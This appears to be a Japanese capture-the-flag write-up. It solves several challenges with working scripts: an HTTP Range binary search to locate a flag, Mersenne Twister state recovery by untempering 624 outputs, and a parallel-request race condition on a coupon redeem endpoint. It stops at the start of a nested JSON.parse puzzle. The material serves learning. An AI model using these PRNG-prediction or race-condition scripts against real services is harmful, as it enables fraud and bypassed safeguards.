Index
巨大な flag.txt が与えられ、ブラウザからそのままダウンロードすることはできない。
ソースを読むと実際には巨大なファイルを持っているわけではなく、offset に応じてその場で内容を合成している。
FILE_SIZE = 0x7FFFFFFFFFFFFFFF
if offset < FLAG_OFFSET:
seg_end = min(end, FLAG_OFFSET)
out.extend(b"." * (seg_end - offset))
offset = seg_end
if offset < FLAG_OFFSET + len(FLAG) and end > FLAG_OFFSET:
flag_start = max(offset, FLAG_OFFSET)
flag_end = min(end, FLAG_OFFSET + len(FLAG))
out.extend(FLAG[flag_start - FLAG_OFFSET : flag_end - FLAG_OFFSET])
つまり必要なのは全体を読むことではなく、FLAG_OFFSET の位置を探すこと。
Flag is の直後から HTTP Range で 1 byte ずつ見て、. でなくなる最初の位置を二分探索すると flag の開始位置が分かる。
import urllib.request
URL = "<https://flag-txt.chal.alp4ca.com/flag.txt>"
FILE_SIZE = 0x7FFFFFFFFFFFFFFF
PREFIX_LEN = len(b"Flag is ")
def range_get(start, end):
req = urllib.request.Request(URL, headers={"Range": f"bytes={start}-{end}"})
with urllib.request.urlopen(req, timeout=20) as resp:
return resp.read()
lo = PREFIX_LEN
hi = FILE_SIZE
while lo < hi:
mid = (lo + hi) // 2
if range_get(mid, mid) == b".":
lo = mid + 1
else:
hi = mid
offset = lo
window = range_get(offset - 16, offset + 96).decode("utf-8", "replace")
print(window)
random.Random なので MT19937の問題。
メニュー 1 で現在の値を好きなだけ観測できて、メニュー 2 で少しだけ先の値を当てさせる構成になっている。
if choice == "1":
print(f"[present #{pos:03d}] {rng.getrandbits(32)}")
elif choice == "2":
i = secrets.randbelow(128)
for _ in range(i):
rng.getrandbits(32)
ans = rng.getrandbits(32)
32-bit 出力を 624 個集めれば state を復元できる。各出力を untemper して clone を作り、i 回だけ進めて次の値を送ればよい。
実装では往復を減らすために 1\\n を 624 回まとめて送り、最後に 2\\n を付けている。
import random
import re
from pwn import remote
HOST = "34.170.146.252"
PORT = 6911
OBSERVE_COUNT = 624
PRESENT_RE = re.compile(r"\\[present #\\d+\\] (\\d+)")
SKIP_RE = re.compile(r"i = (\\d+)")
def undo_right(y: int, shift: int) -> int:
x = y
for _ in range(10):
x = y ^ (x >> shift)
return x & 0xFFFFFFFF
def undo_left(y: int, shift: int, mask: int) -> int:
x = y
for _ in range(10):
x = y ^ ((x << shift) & mask)
return x & 0xFFFFFFFF
def untemper(y: int) -> int:
y = undo_right(y, 18)
y = undo_left(y, 15, 0xEFC60000)
y = undo_left(y, 7, 0x9D2C5680)
y = undo_right(y, 11)
return y & 0xFFFFFFFF
def clone_rng(outputs: list[int]) -> random.Random:
state = tuple(untemper(value) for value in outputs) + (624,)
rng = random.Random()
rng.setstate((3, state, None))
return rng
io = remote(HOST, PORT)
io.recvuntil(b"> ")
io.send((b"1\\n" * OBSERVE_COUNT) + b"2\\n")
text = io.recvuntil(b"Speak the next omen > ").decode()
outputs = [int(x) for x in PRESENT_RE.findall(text)]
rng = clone_rng(outputs)
skip = int(SKIP_RE.search(text).group(1))
for _ in range(skip):
rng.getrandbits(32)
io.sendline(str(rng.getrandbits(32)).encode())
print(io.recvall().decode())
/redeem の処理を見ると、クーポン使用済みの確認と残高更新の間に待ち時間が入っている。RaceConditionの問題。
const { redeemed } = sessions.get(req.sid);
await sleep(1000);
if (redeemed) {
return res.end(`You already redeemed your coupon.<a href="/">Home</a>`);
}
await sleep(1000);
const { balance } = sessions.get(req.sid);
sessions.set(req.sid, {
redeemed: true,
balance: balance + 10,
});
この形だと、redeemedの判定が1秒後、切り替えが2秒後なので、同じ sid で /redeem を並列に叩いたとき複数リクエストがどれも redeemed == false のまま進めてしまう。
結果として balance += 10 が何回も通るので、3 回以上成功させてから /buy に行けば flag を買える。
from concurrent.futures import ThreadPoolExecutor
import requests
BASE_URL = "<http://~>"
RACE_COUNT = 5
session = requests.Session()
session.get(f"{BASE_URL}/", timeout=5)
sid = session.cookies["sid"]
def hit_redeem(_: int) -> None:
requests.get(f"{BASE_URL}/redeem", cookies={"sid": sid}, timeout=10)
with ThreadPoolExecutor(max_workers=RACE_COUNT) as executor:
list(executor.map(hit_redeem, range(RACE_COUNT)))
resp = requests.get(f"{BASE_URL}/buy", cookies={"sid": sid}, timeout=5)
print(resp.text)
入力に \\\\ が含まれていなければ JSON.parse を 5 回通し、最後に "42" (文字列)になっているかを見ている。
if (input.includes("\\\\\\\\")) return "Invalid";
const ans = JSON.parse(JSON.parse(JSON.parse(JSON.parse(JSON.parse(input)))));
if (ans === "42") {
return process.env.FLAG;
}